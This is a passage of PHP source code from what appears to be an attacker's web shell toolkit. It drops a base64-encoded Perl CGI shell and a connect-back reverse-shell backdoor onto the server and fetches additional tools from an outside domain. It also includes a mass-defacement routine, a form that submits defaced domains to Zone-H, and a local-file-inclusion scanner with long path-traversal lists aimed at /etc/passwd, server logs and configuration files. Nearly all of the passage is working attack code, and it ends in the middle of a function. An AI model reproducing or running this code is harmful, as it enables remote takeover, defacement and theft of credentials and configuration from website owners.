  2269. b3JtTG9naW47DQoNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKSAjIHVzZXIgd2FudHMg
  2270. dG8gcnVuIGEgY29tbWFuZA0Kew0KCSZFeGVjdXRlQ29tbWFuZDsNCn0NCmVsc2lmKCRBY3Rpb24g
  2271. ZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlVwbG9hZEZp
  2272. bGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3du
  2273. bG9hZCBhIGZpbGUNCnsNCgkmRG93bmxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAibG9n
  2274. b3V0IikgIyB1c2VyIHdhbnRzIHRvIGxvZ291dA0Kew0KCSZQZXJmb3JtTG9nb3V0Ow0KfQ==';
  2275. $file = fopen("izo.cin", "w+");
  2276. $write = fwrite($file, base64_decode($cgishellizocin));
  2277. fclose($file);
  2278. chmod("izo.cin", 0755);
  2279. $netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
  2280. MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
  2281. ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
  2282. MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
  2283. ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
  2284. MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
  2285. Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
  2286. KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
  2287. SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
  2288. ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
  2289. UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
  2290. VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
  2291. ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
  2292. JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
  2293. bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
  2294. ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
  2295. YXRhY2hlZFxuXG4iOw==';
  2296. $file = fopen("dc.pl", "w+");
  2297. $write = fwrite($file, base64_decode($netcatshell));
  2298. fclose($file);
  2299. chmod("dc.pl", 0755);
  2300. echo "<iframe src=cgitelnet1/izo.cin width=100% height=100% frameborder=0></iframe> ";
  2301. echo '</div>';
  2302. printFooter();
  2303. }
  2304. function actionPSymlink() {
  2305.  
  2306. printHeader();
  2307. echo " < center > ";
  2308.  
  2309. $telnetfile = 'telnet213'; // Perl tools file
  2310.  
  2311. $link = "http: //www.the-code.tk/phh"; // Tools source link (without slash '/' in end)
  2312. $perlfiles = array(".htaccess", "users.gif", "izo.gif", "config.gif");
  2313. $name = basename($_SERVER['PHP_SELF']); // Returns trailing name component of path.
  2314. $url0 = "http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
  2315. $url = str_replace("$name", '', $url0);
  2316. // Style :
  2317. echo "<h3>- PERL TOOLS:</h3>";
  2318. if (!file_exists($telnetfile)) {
  2319. @mkdir($telnetfile);
  2320. @chmod("$telnetfile", 0755);
  2321. }
  2322. if (file_exists($telnetfile)) {
  2323. foreach ($perlfiles as $file) {
  2324. $tool = fopen("$telnetfile/$file", "w+");
  2325. if (@eregi('htaccess', $file)) {
  2326. $file = str_replace(".", '', $file);
  2327. }
  2328. $toolcontents = @file_get_contents("$link/perl/$file.txt");
  2329. $write = fwrite($tool, $toolcontents);
  2330. fclose($tool);
  2331. if ($write) {
  2332. if (@eregi('htaccess', $file)) {
  2333. $file = ".$file";
  2334. }
  2335. echo "<font color=#969696>The <b>$file</b> File Was Created Successfuly.==><a href='$url/$telnetfile/$file' target='_blank'><u>$file</u></a></font><br>";
  2336. } else {
  2337. echo "<font color=red>ERROR: Cannot Create <b>$file</b> File !! </font><br>";
  2338. }
  2339. @chmod("$telnetfile/$file", 0755);
  2340. }
  2341. }
  2342. printFooter();
  2343. }
  2344. function actionDeface() {
  2345. printHeader();
  2346. echo "<h1>Single User Mass Deface</h1><div class=content>";
  2347. ?>
  2348. <form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">
  2349. <p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
  2350. <br>file name : <input type=text name=file size=20 value="AdamKnight.html">
  2351. <br>Text Content : <input type=text name=Contents size=20 value="Hacked by AdamKnight">
  2352. <br><input type=submit value="Update"></p></form>
  2353.  
  2354. <?php
  2355. if ($_POST['a'] == 'Deface') {
  2356. $mainpath = $_POST[p1];
  2357. $file = $_POST[p2];
  2358. $txtContents = $_POST[p3];
  2359. echo "-----------------------------------------------<br>
  2360. [+] Single user Mass defacer<br>
  2361. -----------------------------------------------<br><br> ";
  2362. $dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
  2363. while ($row = readdir($dir)) {
  2364. $start = @fopen("$row/$file", "w+");
  2365. $code = $txtContents;
  2366. $finish = @fwrite($start, $code);
  2367. if ($finish) {
  2368. echo "$row/$file > Done<br><br>";
  2369. }
  2370. }
  2371. echo "-----------------------------------------------<br><br>[+] Script by E@GL3 STR!K3R [+]";
  2372. }
  2373. echo '</div>';
  2374. printFooter();
  2375. }
  2376. function actionZHposter() {
  2377. printHeader();
  2378. echo '<h1>Zone-H Poster</h1><div class=content>';
  2379. echo '<form action="" method="post" onSubmit=da2(null,null,this.p1.value,this.p2.value,this.p3.value,this.p4.value);return true;">
  2380. <input type="text" name="p1" size="40" value="Attacker" /></br>
  2381. <select name="p2">
  2382. <option >--------SELECT--------</option>
  2383. <option value="1">known vulnerability (i.e. unpatched system)</option>
  2384. <option value="2" >undisclosed (new) vulnerability</option>
  2385. <option value="3" >configuration / admin. mistake</option>
  2386. <option value="4" >brute force attack</option>
  2387. <option value="5" >social engineering</option>
  2388. <option value="6" >Web Server intrusion</option>
  2389. <option value="7" >Web Server external module intrusion</option>
  2390. <option value="8" >Mail Server intrusion</option>
  2391. <option value="9" >FTP Server intrusion</option>
  2392. <option value="10" >SSH Server intrusion</option>
  2393. <option value="11" >Telnet Server intrusion</option>
  2394. <option value="12" >RPC Server intrusion</option>
  2395. <option value="13" >Shares misconfiguration</option>
  2396. <option value="14" >Other Server intrusion</option>
  2397. <option value="15" >SQL Injection</option>
  2398. <option value="16" >URL Poisoning</option>
  2399. <option value="17" >File Inclusion</option>
  2400. <option value="18" >Other Web Application bug</option>
  2401. <option value="19" >Remote administrative panel access bruteforcing</option>
  2402. <option value="20" >Remote administrative panel access password guessing</option>
  2403. <option value="21" >Remote administrative panel access social engineering</option>
  2404. <option value="22" >Attack against administrator(password stealing/sniffing)</option>
  2405. <option value="23" >Access credentials through Man In the Middle attack</option>
  2406. <option value="24" >Remote service password guessing</option>
  2407. <option value="25" >Remote service password bruteforce</option>
  2408. <option value="26" >Rerouting after attacking the Firewall</option>
  2409. <option value="27" >Rerouting after attacking the Router</option>
  2410. <option value="28" >DNS attack through social engineering</option>
  2411. <option value="29" >DNS attack through cache poisoning</option>
  2412. <option value="30" >Not available</option>
  2413. </select>
  2414. </br>
  2415. <select name="p3">
  2416. <option >--------SELECT--------</option>
  2417. <option value="1" >Heh...just for fun!</option>
  2418. <option value="2" >Revenge against that website</option>
  2419. <option value="3" >Political reasons</option>
  2420. <option value="4" >As a challenge</option>
  2421. <option value="5" >I just want to be the best defacer</option>
  2422. <option value="6" >Patriotism</option>
  2423. <option value="7" >Not available</option>
  2424. </select>
  2425. </br>
  2426. <textarea name="p4" cols="44" rows="9">List Of Domains</textarea>
  2427. <input type="submit" value="Send Now !" />
  2428. </form>';
  2429. echo "</td></tr></table></form>";
  2430. if ($_POST['a'] == 'ZHposter') {
  2431. ob_start();
  2432. $sub = @get_loaded_extensions();
  2433. if (!in_array("curl", $sub)) {
  2434. die('[-] Curl Is Not Supported !! ');
  2435. }
  2436. $hacker9 = $_POST['p1'];
  2437. $method9 = $_POST['p2'];
  2438. $neden9 = $_POST['p3'];
  2439. $site9 = $_POST['p4'];
  2440. if (empty($hacker9)) {
  2441. die("[-] You Must Fill the Attacker name !");
  2442. } elseif ($method9 == "--------SELECT--------") {
  2443. die("[-] You Must Select The Method !");
  2444. } elseif ($neden9 == "--------SELECT--------") {
  2445. die("[-] You Must Select The Reason");
  2446. } elseif (empty($site9)) {
  2447. die("[-] You Must Inter the Sites List ! ");
  2448. }
  2449. $i = 0;
  2450. $sites = explode("
  2451. ", $site9);
  2452. while ($i < count($sites)) {
  2453. if (substr($sites[$i], 0, 4) != "http") {
  2454. $sites[$i] = "http://" . $sites[$i];
  2455. }
  2456. ZoneH("http://zone-h.org/notify/single", $hacker9, $method9, $neden9, $sites[$i]);
  2457. echo "Site : " . $sites[$i] . " Defaced ! </br>";
  2458. ++$i;
  2459. }
  2460. echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !! ";
  2461. }
  2462. echo '</div';
  2463. printFooter();
  2464. }
  2465. function actionlfiscan() {
  2466. printHeader();
  2467. print '
  2468. <h3>LFI File dumper By E@GL3 STR!K3R</h3>
  2469.  
  2470. <form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
  2471. LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">
  2472. <option value="1">
  2473. Access Log
  2474. </option>
  2475.  
  2476. <option value="2">
  2477. httpd.conf
  2478. </option>
  2479.  
  2480. <option value="3">
  2481. Error Log
  2482. </option>
  2483. <option value="4">
  2484. php.ini
  2485. </option>
  2486. <option value="5">
  2487. MySQL
  2488. </option>
  2489. <option value="6">
  2490. FTP
  2491. </option>
  2492. <option value="7">
  2493. Environ
  2494. </option>
  2495. </select> Null: <select name="null">
  2496. <option value="%00">
  2497. Yes
  2498. </option>
  2499.  
  2500. <option value="">
  2501. No
  2502. </option>
  2503. </select> User-Agent: <input type="text" size="20" name="custom_header" value="">
  2504. </form>';
  2505. error_reporting(0);
  2506. if($_POST['lfiurl']) {
  2507. print "<pre>";
  2508. $cheader = $_POST['custom_header'];
  2509. $target = $_POST['lfiurl'];
  2510. $type = $_POST['scantype'];
  2511. $byte1 = $_POST['null'];
  2512. $lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
  2513. $lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
  2514. $lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
  2515. $lfiaccess = array(
  2516. 1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
  2517. 2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
  2518. 3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
  2519. 4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
  2520. 5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
  2521. 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
  2522. 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
  2523. 8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
  2524. 9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
  2525. 10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
  2526. 11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
  2527. 12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."",
  2528. 13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."",
  2529. 14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
  2530. 15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
  2531. 16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."",
  2532. 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
  2533. 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
  2534. 19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
  2535. 20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
  2536. 21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
  2537. 22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
  2538. 23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
  2539.  
  2540. $lfierror = array(
  2541. 1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
  2542. 2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
  2543. 3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
  2544. 4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
  2545. 5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
  2546. 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
  2547. 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
  2548. 8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
  2549. 9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
  2550. 10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
  2551. 11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
  2552. 12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."",
  2553. 13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."",
  2554. 14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
  2555. 15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
  2556. 16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."",
  2557. 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
  2558. 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
  2559. 19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
  2560. 20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
  2561. 21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
  2562. 22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
  2563. 23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
  2564.  
  2565. $lficonfig = array(
  2566. 1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
  2567. 2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
  2568. 3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
  2569. 4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
  2570. 5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
  2571. 6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
  2572. 7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
  2573. 8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
  2574. 9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
  2575. 10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
  2576. 11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
  2577. 12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
  2578. 13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
  2579. 14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
  2580. 15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
  2581. 16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
  2582. 17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
  2583. 18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
  2584. 19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
  2585. 20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
  2586. 21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
  2587. 22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
  2588. 23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
  2589. 24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
  2590. 25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
  2591. 26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
  2592. 27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
  2593. 28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
  2594. 29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
  2595. 30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
  2596. 31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
  2597. 32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
  2598. 33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
  2599. 34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
  2600. 35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
  2601.  
  2602. $lfiphpini = array(
  2603. 1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
  2604. 2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
  2605. 3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
  2606. 4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
  2607. 5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
  2608. 6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
  2609. 7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
  2610. 8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
  2611. 9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
  2612. 10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
  2613. 11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
  2614. 12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
  2615. 13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
  2616. 14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
  2617. 15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
  2618. 16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
  2619. 17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
  2620. 18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
  2621. 19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
  2622. 20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
  2623. 21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
  2624. 22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
  2625. 23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
  2626. 24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
  2627. 25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
  2628. 26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
  2629. 27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
  2630.  
  2631. $lfimysql = array(
  2632. 1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
  2633. 2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
  2634. 3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
  2635. 4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
  2636. 5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
  2637. 6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
  2638. 7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
  2639. 8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
  2640. 9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
  2641. 10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
  2642.  
  2643. $lfiftp = array(
  2644. 1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
  2645. 2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
  2646. 3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
  2647. 4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
  2648. 5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
  2649. 6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
  2650. 7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
  2651. 8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
  2652. 9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
  2653. 10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
  2654. 11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
  2655. 12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
  2656. 13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
  2657. 14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
  2658. 15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
  2659. 16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
  2660. 17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
  2661. 18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
  2662. 19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
  2663. 20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
  2664. 21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
  2665. 22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
  2666. 23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
  2667. 24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
  2668. 25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
  2669. 26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
  2670. 27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
  2671. 28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
  2672. 29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
  2673. 30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
  2674. 31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
  2675. 32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
  2676. 33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
  2677. 34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
  2678. 35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
  2679. 36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
  2680. 37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
  2681. 38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
  2682. 39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
  2683. 40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
  2684. 41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
  2685. 42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
  2686. 43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
  2687. 44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
  2688.  
  2689.  
  2690. $x = 1;
  2691. if ( $type == 1 ) {
  2692. $res1 = FetchURL($target.$lfitest);
  2693. $res2 = FetchURL($target.$lfitest2);
  2694. $rhash1 = md5($res1);
  2695. $rhash2 = md5($res2);
  2696. if ($rhash1 != $rhash2) {
  2697. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  2698. while($lfiaccess[$x]) {
  2699. $res3 = FetchURL($target.$lfiaccess[$x]);
  2700. $rhash3 = md5($res3);
  2701. if ($rhash3 != $rhash2) {
  2702. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br />";
  2703. }
  2704. else {
  2705. print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br />";
  2706. }
  2707. $x++;
  2708. }
  2709. }
  2710. }
  2711. if ( $type == 2 ) {
  2712. $res1 = FetchURL($target.$lfitest);
  2713. $res2 = FetchURL($target.$lfitest2);
  2714. $rhash1 = md5($res1);
  2715. $rhash2 = md5($res2);
  2716. if ($rhash1 != $rhash2) {
  2717. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  2718. while($lficonfig[$x]) {
  2719. $res3 = FetchURL($target.$lficonfig[$x]);
  2720. $rhash3 = md5($res3);
  2721. if ($rhash3 != $rhash2) {
  2722. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br />";
  2723. }
  2724. else {
  2725. print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br />";
  2726. }
  2727. $x++;
  2728. }
  2729. }
  2730. }
  2731. if ( $type == 3 ) {
  2732. $res1 = FetchURL($target.$lfitest);
  2733. $res2 = FetchURL($target.$lfitest2);
  2734. $rhash1 = md5($res1);
  2735. $rhash2 = md5($res2);
  2736. if ($rhash1 != $rhash2) {
  2737. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  2738. while($lfierror[$x]) {
  2739. $res3 = FetchURL($target.$lfierror[$x]);
  2740. $rhash3 = md5($res3);
  2741. if ($rhash3 != $rhash2) {
  2742. print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br />";
  2743. }
  2744. else {
  2745. print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br />";
  2746. }
  2747. $x++;
  2748. }
  2749. }
  2750. }
  2751. if ( $type == 4 ) {
  2752. $res1 = FetchURL($target.$lfitest);
  2753. $res2 = FetchURL($target.$lfitest2);
  2754. $rhash1 = md5($res1);
  2755. $rhash2 = md5($res2);
  2756. if ($rhash1 != $rhash2) {
  2757. print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
  2758. while($lfiphpini[$x]) {
